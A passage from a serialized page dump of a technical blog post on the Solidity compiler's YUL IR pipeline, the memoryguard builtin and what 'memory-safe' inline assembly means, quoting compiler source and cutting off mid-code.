assembly.",{"src":29064,"height":13703,"width":13703},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[4569,29067],"compiler",{"type":20,"children":29069,"toc":30476},[29070,29076,29112,29124,29130,29152,29165,29312,29333,29338,29359,29364,29372,29377,29382,29387,29393,29412,29417,29438,29501,29513,29543,29563,29590,29595,29608,29613,29618,29631,29662,29685,29838,29856,29907,29926,29951,29956,29962,29989,30009,30037,30042,30064,30083,30091,30102,30107,30123,30380,30388,30393,30397,30402,30407,30472],{"type":23,"tag":47,"props":29071,"children":29073},{"id":29072},"introduction",[29074],{"type":28,"value":29075},"Introduction",{"type":23,"tag":24,"props":29077,"children":29078},{},[29079,29081,29087,29088,29092,29094,29101,29103,29110],{"type":28,"value":29080},"What does ",{"type":23,"tag":209,"props":29082,"children":29084},{"className":29083},[],[29085],{"type":28,"value":29086},"memory-safe",{"type":28,"value":6550},{"type":23,"tag":87,"props":29089,"children":29090},{},[29091],{"type":28,"value":9374},{"type":28,"value":29093}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":36,"props":29095,"children":29098},{"href":29096,"rel":29097},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[40],[29099],{"type":28,"value":29100},"presents some requirements",{"type":28,"value":29102},", but is production code that ",{"type":23,"tag":36,"props":29104,"children":29107},{"href":29105,"rel":29106},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[40],[29108],{"type":28,"value":29109},"violates these requirements",{"type":28,"value":29111}," necessarily unsafe?",{"type":23,"tag":24,"props":29113,"children":29114},{},[29115,29117,29122],{"type":28,"value":29116},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":87,"props":29118,"children":29119},{},[29120],{"type":28,"value":29121},"memory-safety",{"type":28,"value":29123}," actually means.",{"type":23,"tag":47,"props":29125,"children":29127},{"id":29126},"compiler-pipeline",[29128],{"type":28,"value":29129},"Compiler Pipeline",{"type":23,"tag":24,"props":29131,"children":29132},{},[29133,29135,29142,29144,29151],{"type":28,"value":29134},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":36,"props":29136,"children":29139},{"href":29137,"rel":29138},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[40],[29140],{"type":28,"value":29141},"released in v0.8.13",{"type":28,"value":29143},". Compilation happens ",{"type":23,"tag":36,"props":29145,"children":29148},{"href":29146,"rel":29147},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[40],[29149],{"type":28,"value":29150},"in two main steps",{"type":28,"value":277},{"type":23,"tag":131,"props":29153,"children":29154},{},[29155,29160],{"type":23,"tag":135,"props":29156,"children":29157},{},[29158],{"type":28,"value":29159},"Solidity to YUL IR",{"type":23,"tag":135,"props":29161,"children":29162},{},[29163],{"type":28,"value":29164},"YUL IR to EVM opcodes",{"type":23,"tag":202,"props":29166,"children":29170},{"className":29167,"code":29168,"language":29169,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[29171],{"type":23,"tag":209,"props":29172,"children":29173},{"__ignoreMap":7},[29174,29204,29225,29237,29244,29256,29276,29284,29305],{"type":23,"tag":213,"props":29175,"children":29176},{"class":215,"line":216},[29177,29181,29186,29190,29195,29199],{"type":23,"tag":213,"props":29178,"children":29179},{"style":1362},[29180],{"type":28,"value":2653},{"type":23,"tag":213,"props":29182,"children":29183},{"style":220},[29184],{"type":28,"value":29185}," (m_viaIR ",{"type":23,"tag":213,"props":29187,"children":29188},{"style":274},[29189],{"type":28,"value":22468},{"type":23,"tag":213,"props":29191,"children":29192},{"style":220},[29193],{"type":28,"value":29194}," m_generateIR ",{"type":23,"tag":213,"props":29196,"children":29197},{"style":274},[29198],{"type":28,"value":22468},{"type":23,"tag":213,"props":29200,"children":29201},{"style":220},[29202],{"type":28,"value":29203}," m_generateEwasm)\n",{"type":23,"tag":213,"props":29205,"children":29206},{"class":215,"line":226},[29207,29212,29216,29220],{"type":23,"tag":213,"props":29208,"children":29209},{"style":257},[29210],{"type":28,"value":29211}," generateIR",{"type":23,"tag":213,"props":29213,"children":29214},{"style":220},[29215],{"type":28,"value":265},{"type":23,"tag":213,"props":29217,"children":29218},{"style":274},[29219],{"type":28,"value":1696},{"type":23,"tag":213,"props":29221,"children":29222},{"style":220},[29223],{"type":28,"value":29224},"contract);\n",{"type":23,"tag":213,"props":29226,"children":29227},{"class":215,"line":524},[29228,29232],{"type":23,"tag":213,"props":29229,"children":29230},{"style":1362},[29231],{"type":28,"value":2653},{"type":23,"tag":213,"props":29233,"children":29234},{"style":220},[29235],{"type":28,"value":29236}," (m_generateEvmBytecode)\n",{"type":23,"tag":213,"props":29238,"children":29239},{"class":215,"line":533},[29240],{"type":23,"tag":213,"props":29241,"children":29242},{"style":220},[29243],{"type":28,"value":2725},{"type":23,"tag":213,"props":29245,"children":29246},{"class":215,"line":543},[29247,29251],{"type":23,"tag":213,"props":29248,"children":29249},{"style":1362},[29250],{"type":28,"value":3369},{"type":23,"tag":213,"props":29252,"children":29253},{"style":220},[29254],{"type":28,"value":29255}," (m_viaIR)\n",{"type":23,"tag":213,"props":29257,"children":29258},{"class":215,"line":551},[29259,29264,29268,29272],{"type":23,"tag":213,"props":29260,"children":29261},{"style":257},[29262],{"type":28,"value":29263}," generateEVMFromIR",{"type":23,"tag":213,"props":29265,"children":29266},{"style":220},[29267],{"type":28,"value":265},{"type":23,"tag":213,"props":29269,"children":29270},{"style":274},[29271],{"type":28,"value":1696},{"type":23,"tag":213,"props":29273,"children":29274},{"style":220},[29275],{"type":28,"value":29224},{"type":23,"tag":213,"props":29277,"children":29278},{"class":215,"line":570},[29279],{"type":23,"tag":213,"props":29280,"children":29281},{"style":1362},[29282],{"type":28,"value":29283}," else\n",{"type":23,"tag":213,"props":29285,"children":29286},{"class":215,"line":655},[29287,29292,29296,29300],{"type":23,"tag":213,"props":29288,"children":29289},{"style":257},[29290],{"type":28,"value":29291}," compileContract",{"type":23,"tag":213,"props":29293,"children":29294},{"style":220},[29295],{"type":28,"value":265},{"type":23,"tag":213,"props":29297,"children":29298},{"style":274},[29299],{"type":28,"value":1696},{"type":23,"tag":213,"props":29301,"children":29302},{"style":220},[29303],{"type":28,"value":29304},"contract, otherCompilers);\n",{"type":23,"tag":213,"props":29306,"children":29307},{"class":215,"line":1176},[29308],{"type":23,"tag":213,"props":29309,"children":29310},{"style":220},[29311],{"type":28,"value":2875},{"type":23,"tag":24,"props":29313,"children":29314},{},[29315,29317,29324,29325,29332],{"type":28,"value":29316},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":36,"props":29318,"children":29321},{"href":29319,"rel":29320},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[40],[29322],{"type":28,"value":29323},"YulStack::optimize",{"type":28,"value":1466},{"type":23,"tag":36,"props":29326,"children":29329},{"href":29327,"rel":29328},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[40],[29330],{"type":28,"value":29331},"Assembly::optimize",{"type":28,"value":124},{"type":23,"tag":24,"props":29334,"children":29335},{},[29336],{"type":28,"value":29337},"In total, there are four steps.",{"type":23,"tag":131,"props":29339,"children":29340},{},[29341,29345,29350,29354],{"type":23,"tag":135,"props":29342,"children":29343},{},[29344],{"type":28,"value":29159},{"type":23,"tag":135,"props":29346,"children":29347},{},[29348],{"type":28,"value":29349},"Optimization of YUL IR",{"type":23,"tag":135,"props":29351,"children":29352},{},[29353],{"type":28,"value":29164},{"type":23,"tag":135,"props":29355,"children":29356},{},[29357],{"type":28,"value":29358},"Optimization of EVM opcodes",{"type":23,"tag":24,"props":29360,"children":29361},{},[29362],{"type":28,"value":29363},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":3036,"props":29365,"children":29366},{},[29367],{"type":23,"tag":24,"props":29368,"children":29369},{},[29370],{"type":28,"value":29371},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":24,"props":29373,"children":29374},{},[29375],{"type":28,"value":29376},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":24,"props":29378,"children":29379},{},[29380],{"type":28,"value":29381},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":24,"props":29383,"children":29384},{},[29385],{"type":28,"value":29386},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":47,"props":29388,"children":29390},{"id":29389},"guarantees",[29391],{"type":28,"value":29392},"Guarantees",{"type":23,"tag":24,"props":29394,"children":29395},{},[29396,29397,29404,29406,29411],{"type":28,"value":2623},{"type":23,"tag":36,"props":29398,"children":29401},{"href":29399,"rel":29400},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[40],[29402],{"type":28,"value":29403},"Solidity memory layout",{"type":28,"value":29405}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":87,"props":29407,"children":29408},{},[29409],{"type":28,"value":29410},"no information about this layout",{"type":28,"value":124},{"type":23,"tag":24,"props":29413,"children":29414},{},[29415],{"type":28,"value":29416},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":24,"props":29418,"children":29419},{},[29420,29422,29428,29430,29436],{"type":28,"value":29421},"Introducing ",{"type":23,"tag":209,"props":29423,"children":29425},{"className":29424},[],[29426],{"type":28,"value":29427},"memoryguard",{"type":28,"value":29429},". If you've ever looked at the output of ",{"type":23,"tag":209,"props":29431,"children":29433},{"className":29432},[],[29434],{"type":28,"value":29435},"solc --ir",{"type":28,"value":29437},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":202,"props":29439,"children":29441},{"className":4570,"code":29440,"language":4569,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[29442],{"type":23,"tag":209,"props":29443,"children":29444},{"__ignoreMap":7},[29445,29463],{"type":23,"tag":213,"props":29446,"children":29447},{"class":215,"line":216},[29448,29453,29458],{"type":23,"tag":213,"props":29449,"children":29450},{"style":537},[29451],{"type":28,"value":29452}," /// @src 0:26:371 \"contract ",{"type":23,"tag":213,"props":29454,"children":29455},{"style":230},[29456],{"type":28,"value":29457},"XXX",{"type":23,"tag":213,"props":29459,"children":29460},{"style":537},[29461],{"type":28,"value":29462}," {...\"\n",{"type":23,"tag":213,"props":29464,"children":29465},{"class":215,"line":226},[29466,29471,29475,29480,29484,29488,29492,29497],{"type":23,"tag":213,"props":29467,"children":29468},{"style":257},[29469],{"type":28,"value":29470}," store",{"type":23,"tag":213,"props":29472,"children":29473},{"style":220},[29474],{"type":28,"value":265},{"type":23,"tag":213,"props":29476,"children":29477},{"style":514},[29478],{"type":28,"value":29479},"64",{"type":23,"tag":213,"props":29481,"children":29482},{"style":220},[29483],{"type":28,"value":424},{"type":23,"tag":213,"props":29485,"children":29486},{"style":257},[29487],{"type":28,"value":29427},{"type":23,"tag":213,"props":29489,"children":29490},{"style":220},[29491],{"type":28,"value":265},{"type":23,"tag":213,"props":29493,"children":29494},{"style":514},[29495],{"type":28,"value":29496},"0x80",{"type":23,"tag":213,"props":29498,"children":29499},{"style":220},[29500],{"type":28,"value":19766},{"type":23,"tag":24,"props":29502,"children":29503},{},[29504,29506,29512],{"type":28,"value":29505},"From ",{"type":23,"tag":36,"props":29507,"children":29510},{"href":29508,"rel":29509},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[40],[29511],{"type":28,"value":122},{"type":28,"value":4219},{"type":23,"tag":3036,"props":29514,"children":29515},{},[29516],{"type":23,"tag":24,"props":29517,"children":29518},{},[29519,29521,29527,29529,29535,29537,29542],{"type":28,"value":29520},"The caller of ",{"type":23,"tag":209,"props":29522,"children":29524},{"className":29523},[],[29525],{"type":28,"value":29526},"let ptr := memoryguard(size)",{"type":28,"value":29528}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":209,"props":29530,"children":29532},{"className":29531},[],[29533],{"type":28,"value":29534},"[0, size)",{"type":28,"value":29536}," or the unbounded range starting at ",{"type":23,"tag":209,"props":29538,"children":29540},{"className":29539},[],[29541],{"type":28,"value":14024},{"type":28,"value":124},{"type":23,"tag":24,"props":29544,"children":29545},{},[29546,29548,29553,29555,29561],{"type":28,"value":29547},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":209,"props":29549,"children":29551},{"className":29550},[],[29552],{"type":28,"value":29427},{"type":28,"value":29554}," return ",{"type":23,"tag":209,"props":29556,"children":29558},{"className":29557},[],[29559],{"type":28,"value":29560},"size + 32",{"type":28,"value":29562},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":24,"props":29564,"children":29565},{},[29566,29568,29575,29577,29582,29584,29589],{"type":28,"value":29567},"An example of this optimization in practice ",{"type":23,"tag":36,"props":29569,"children":29572},{"href":29570,"rel":29571},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[40],[29573],{"type":28,"value":29574},"is the StackLimitEvader",{"type":28,"value":29576},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":87,"props":29578,"children":29579},{},[29580],{"type":28,"value":29581},"only",{"type":28,"value":29583}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":209,"props":29585,"children":29587},{"className":29586},[],[29588],{"type":28,"value":29427},{"type":28,"value":124},{"type":23,"tag":24,"props":29591,"children":29592},{},[29593],{"type":28,"value":29594},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":24,"props":29596,"children":29597},{},[29598,29600,29606],{"type":28,"value":29599},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":209,"props":29601,"children":29603},{"className":29602},[],[29604],{"type":28,"value":29605},"memoryguard(0x60)",{"type":28,"value":29607}," instead. The rest of the pipeline will still work.",{"type":23,"tag":47,"props":29609,"children":29610},{"id":29121},[29611],{"type":28,"value":29612},"Memory Safety",{"type":23,"tag":24,"props":29614,"children":29615},{},[29616],{"type":28,"value":29617},"So what does memory safety mean?",{"type":23,"tag":24,"props":29619,"children":29620},{},[29621,29623,29629],{"type":28,"value":29622},"The Solidity documentation provides ",{"type":23,"tag":36,"props":29624,"children":29626},{"href":29096,"rel":29625},[40],[29627],{"type":28,"value":29628},"a set of constraints",{"type":28,"value":29630},", not a definition.",{"type":23,"tag":3036,"props":29632,"children":29633},{},[29634,29639],{"type":23,"tag":24,"props":29635,"children":29636},{},[29637],{"type":28,"value":29638},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":131,"props":29640,"children":29641},{},[29642,29647,29652,29657],{"type":23,"tag":135,"props":29643,"children":29644},{},[29645],{"type":28,"value":29646},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":135,"props":29648,"children":29649},{},[29650],{"type":28,"value":29651},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":135,"props":29653,"children":29654},{},[29655],{"type":28,"value":29656},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":135,"props":29658,"children":29659},{},[29660],{"type":28,"value":29661},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":24,"props":29663,"children":29664},{},[29665,29667,29674,29684],{"type":28,"value":29666},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":36,"props":29668,"children":29671},{"href":29669,"rel":29670},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[40],[29672],{"type":28,"value":29673},"removes the memory guard",{"type":23,"tag":15533,"props":29675,"children":29676},{},[29677],{"type":23,"tag":36,"props":29678,"children":29682},{"href":29679,"ariaDescribedBy":29680,"dataFootnoteRef":7,"id":29681},"#user-content-fn-1",[15540],"user-content-fnref-1",[29683],{"type":28,"value":4106},{"type":28,"value":124},{"type":23,"tag":202,"props":29686,"children":29688},{"className":29167,"code":29687,"language":29169,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[29689],{"type":23,"tag":209,"props":29690,"children":29691},{"__ignoreMap":7},[29692,29700,29708,29715,29751,29758,29766,29774,29782,29790,29798,29810,29823,29831],{"type":23,"tag":213,"props":29693,"children":29694},{"class":215,"line":216},[29695],{"type":23,"tag":213,"props":29696,"children":29697},{"style":537},[29698],{"type":28,"value":29699},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":213,"props":29701,"children":29702},{"class":215,"line":226},[29703],{"type":23,"tag":213,"props":29704,"children":29705},{"style":537},[29706],{"type":28,"value":29707},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":213,"props":29709,"children":29710},{"class":215,"line":524},[29711],{"type":23,"tag":213,"props":29712,"children":29713},{"emptyLinePlaceholder":18},[29714],{"type":28,"value":530},{"type":23,"tag":213,"props":29716,"children":29717},{"class":215,"line":533},[29718,29723,29728,29733,29737,29742,29747],{"type":23,"tag":213,"props":29719,"children":29720},{"style":290},[29721],{"type":28,"value":29722},"string",{"type":23,"tag":213,"props":29724,"children":29725},{"style":220},[29726],{"type":28,"value":29727}," IRGenerator::",{"type":23,"tag":213,"props":29729,"children":29730},{"style":257},[29731],{"type":28,"value":29732},"memoryInit",{"type":23,"tag":213,"props":29734,"children":29735},{"style":220},[29736],{"type":28,"value":265},{"type":23,"tag":213,"props":29738,"children":29739},{"style":230},[29740],{"type":28,"value":29741},"bool",{"type":23,"tag":213,"props":29743,"children":29744},{"style":268},[29745],{"type":28,"value":29746}," _useMemoryGuard",{"type":23,"tag":213,"props":29748,"children":29749},{"style":220},[29750],{"type":28,"value":2183},{"type":23,"tag":213,"props":29752,"children":29753},{"class":215,"line":543},[29754],{"type":23,"tag":213,"props":29755,"children":29756},{"style":220},[29757],{"type":28,"value":10964},{"type":23,"tag":213,"props":29759,"children":29760},{"class":215,"line":551},[29761],{"type":23,"tag":213,"props":29762,"children":29763},{"style":537},[29764],{"type":28,"value":29765}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":213,"props":29767,"children":29768},{"class":215,"line":570},[29769],{"type":23,"tag":213,"props":29770,"children":29771},{"style":537},[29772],{"type":28,"value":29773}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":213,"props":29775,"children":29776},{"class":215,"line":655},[29777],{"type":23,"tag":213,"props":29778,"children":29779},{"style":537},[29780],{"type":28,"value":29781}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":213,"props":29783,"children":29784},{"class":215,"line":1176},[29785],{"type":23,"tag":213,"props":29786,"children":29787},{"style":1362},[29788],{"type":28,"value":29789}," return\n",{"type":23,"tag":213,"props":29791,"children":29792},{"class":215,"line":1202},[29793],{"type":23,"tag":213,"props":29794,"children":29795},{"style":220},[29796],{"type":28,"value":29797}," Whiskers{\n",{"type":23,"tag":213,"props":29799,"children":29800},{"class":215,"line":1758},[29801,29806],{"type":23,"tag":213,"props":29802,"children":29803},{"style":220},[29804],{"type":28,"value":29805}," _useMemoryGuard ",{"type":23,"tag":213,"props":29807,"children":29808},{"style":274},[29809],{"type":28,"value":2717},{"type":23,"tag":213,"props":29811,"children":29812},{"class":215,"line":1767},[29813,29818],{"type":23,"tag":213,"props":29814,"children":29815},{"style":246},[29816],{"type":28,"value":29817}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":213,"props":29819,"children":29820},{"style":274},[29821],{"type":28,"value":29822}," :\n",{"type":23,"tag":213,"props":29824,"children":29825},{"class":215,"line":1789},[29826],{"type":23,"tag":213,"props":29827,"children":29828},{"style":246},[29829],{"type":28,"value":29830}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":213,"props":29832,"children":29833},{"class":215,"line":1812},[29834],{"type":23,"tag":213,"props":29835,"children":29836},{"style":220},[29837],{"type":28,"value":5964},{"type":23,"tag":24,"props":29839,"children":29840},{},[29841,29846,29848,29854],{"type":23,"tag":209,"props":29842,"children":29844},{"className":29843},[],[29845],{"type":28,"value":29435},{"type":28,"value":29847}," will now no longer have ",{"type":23,"tag":209,"props":29849,"children":29851},{"className":29850},[],[29852],{"type":28,"value":29853},"memoryguard(0x80)",{"type":28,"value":29855}," as expected.",{"type":23,"tag":202,"props":29857,"children":29859},{"className":4570,"code":29858,"language":4569,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[29860],{"type":23,"tag":209,"props":29861,"children":29862},{"__ignoreMap":7},[29863,29878],{"type":23,"tag":213,"props":29864,"children":29865},{"class":215,"line":216},[29866,29870,29874],{"type":23,"tag":213,"props":29867,"children":29868},{"style":537},[29869],{"type":28,"value":29452},{"type":23,"tag":213,"props":29871,"children":29872},{"style":230},[29873],{"type":28,"value":29457},{"type":23,"tag":213,"props":29875,"children":29876},{"style":537},[29877],{"type":28,"value":29462},{"type":23,"tag":213,"props":29879,"children":29880},{"class":215,"line":226},[29881,29886,29890,29894,29898,29903],{"type":23,"tag":213,"props":29882,"children":29883},{"style":257},[29884],{"type":28,"value":29885}," mstore",{"type":23,"tag":213,"props":29887,"children":29888},{"style":220},[29889],{"type":28,"value":265},{"type":23,"tag":213,"props":29891,"children":29892},{"style":514},[29893],{"type":28,"value":29479},{"type":23,"tag":213,"props":29895,"children":29896},{"style":220},[29897],{"type":28,"value":424},{"type":23,"tag":213,"props":29899,"children":29900},{"style":514},[29901],{"type":28,"value":29902},"128",{"type":23,"tag":213,"props":29904,"children":29905},{"style":220},[29906],{"type":28,"value":2183},{"type":23,"tag":24,"props":29908,"children":29909},{},[29910,29912,29917,29919,29924],{"type":28,"value":29911},"Semantically, the absence of ",{"type":23,"tag":209,"props":29913,"children":29915},{"className":29914},[],[29916],{"type":28,"value":29427},{"type":28,"value":29918}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":209,"props":29920,"children":29922},{"className":29921},[],[29923],{"type":28,"value":29427},{"type":28,"value":29925}," invariant.",{"type":23,"tag":3036,"props":29927,"children":29928},{},[29929],{"type":23,"tag":24,"props":29930,"children":29931},{},[29932,29933,29938,29939,29944,29945,29950],{"type":28,"value":29520},{"type":23,"tag":209,"props":29934,"children":29936},{"className":29935},[],[29937],{"type":28,"value":29526},{"type":28,"value":29528},{"type":23,"tag":209,"props":29940,"children":29942},{"className":29941},[],[29943],{"type":28,"value":29534},{"type":28,"value":29536},{"type":23,"tag":209,"props":29946,"children":29948},{"className":29947},[],[29949],{"type":28,"value":14024},{"type":28,"value":124},{"type":23,"tag":24,"props":29952,"children":29953},{},[29954],{"type":28,"value":29955},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":47,"props":29957,"children":29959},{"id":29958},"undefined-behavior",[29960],{"type":28,"value":29961},"Undefined Behavior",{"type":23,"tag":24,"props":29963,"children":29964},{},[29965,29967,29972,29974,29979,29981,29987],{"type":28,"value":29966},"How strict is memory safety? When it comes to ",{"type":23,"tag":209,"props":29968,"children":29970},{"className":29969},[],[29971],{"type":28,"value":29427},{"type":28,"value":29973},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":209,"props":29975,"children":29977},{"className":29976},[],[29978],{"type":28,"value":29086},{"type":28,"value":29980}," annotated assembly that touches memory at ",{"type":23,"tag":209,"props":29982,"children":29984},{"className":29983},[],[29985],{"type":28,"value":29986},"[0x40, 0x7f]",{"type":28,"value":29988}," really safe?",{"type":23,"tag":24,"props":29990,"children":29991},{},[29992,29993,30000,30002,30007],{"type":28,"value":2623},{"type":23,"tag":36,"props":29994,"children":29997},{"href":29995,"rel":29996},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[40],[29998],{"type":28,"value":29999},"Solidity documentation",{"type":28,"value":30001}," mentions ",{"type":23,"tag":87,"props":30003,"children":30004},{},[30005],{"type":28,"value":30006},"undefined behavior",{"type":28,"value":30008}," three times.",{"type":23,"tag":131,"props":30010,"children":30011},{},[30012,30017,30032],{"type":23,"tag":135,"props":30013,"children":30014},{},[30015],{"type":28,"value":30016},"The existence of a dangling reference",{"type":23,"tag":135,"props":30018,"children":30019},{},[30020,30022],{"type":28,"value":30021},"Using verbatim improperly",{"type":23,"tag":15533,"props":30023,"children":30024},{},[30025],{"type":23,"tag":36,"props":30026,"children":30030},{"href":30027,"ariaDescribedBy":30028,"dataFootnoteRef":7,"id":30029},"#user-content-fn-2",[15540],"user-content-fnref-2",[30031],{"type":28,"value":3221},{"type":23,"tag":135,"props":30033,"children":30034},{},[30035],{"type":28,"value":30036},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":24,"props":30038,"children":30039},{},[30040],{"type":28,"value":30041},"Why does this matter?",{"type":23,"tag":24,"props":30043,"children":30044},{},[30045,30047,30054,30056,30063],{"type":28,"value":30046},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":36,"props":30048,"children":30051},{"href":30049,"rel":30050},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[40],[30052],{"type":28,"value":30053},"signed integer overflow is undefined",{"type":28,"value":30055},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":36,"props":30057,"children":30060},{"href":30058,"rel":30059},"https://blog.regehr.org/archives/1307",[40],[30061],{"type":28,"value":30062},"years down the line",{"type":28,"value":124},{"type":23,"tag":24,"props":30065,"children":30066},{},[30067,30069,30076,30077,30082],{"type":28,"value":30068},"Going back to Solidity, the specification makes ",{"type":23,"tag":36,"props":30070,"children":30073},{"href":30071,"rel":30072},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[40],[30074],{"type":28,"value":30075},"it unambiguously clear",{"type":28,"value":18583},{"type":23,"tag":87,"props":30078,"children":30079},{},[30080],{"type":28,"value":30081},"Thou shalt not modify the zero slot",{"type":28,"value":124},{"type":23,"tag":3036,"props":30084,"children":30085},{},[30086],{"type":23,"tag":24,"props":30087,"children":30088},{},[30089],{"type":28,"value":30090},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":24,"props":30092,"children":30093},{},[30094,30096,30101],{"type":28,"value":30095},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":87,"props":30097,"children":30098},{},[30099],{"type":28,"value":30100},"in Solidity",{"type":28,"value":124},{"type":23,"tag":24,"props":30103,"children":30104},{},[30105],{"type":28,"value":30106},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":131,"props":30108,"children":30109},{},[30110],{"type":23,"tag":135,"props":30111,"children":30112},{},[30113,30115,30122],{"type":28,"value":30114},"It very clearly ",{"type":23,"tag":36,"props":30116,"children":30119},{"href":30117,"rel":30118},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[40],[30120],{"type":28,"value":30121},"holds true today",{"type":28,"value":124},{"type":23,"tag":202,"props":30124,"children":30126},{"className":29167,"code":30125,"language":29169,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = 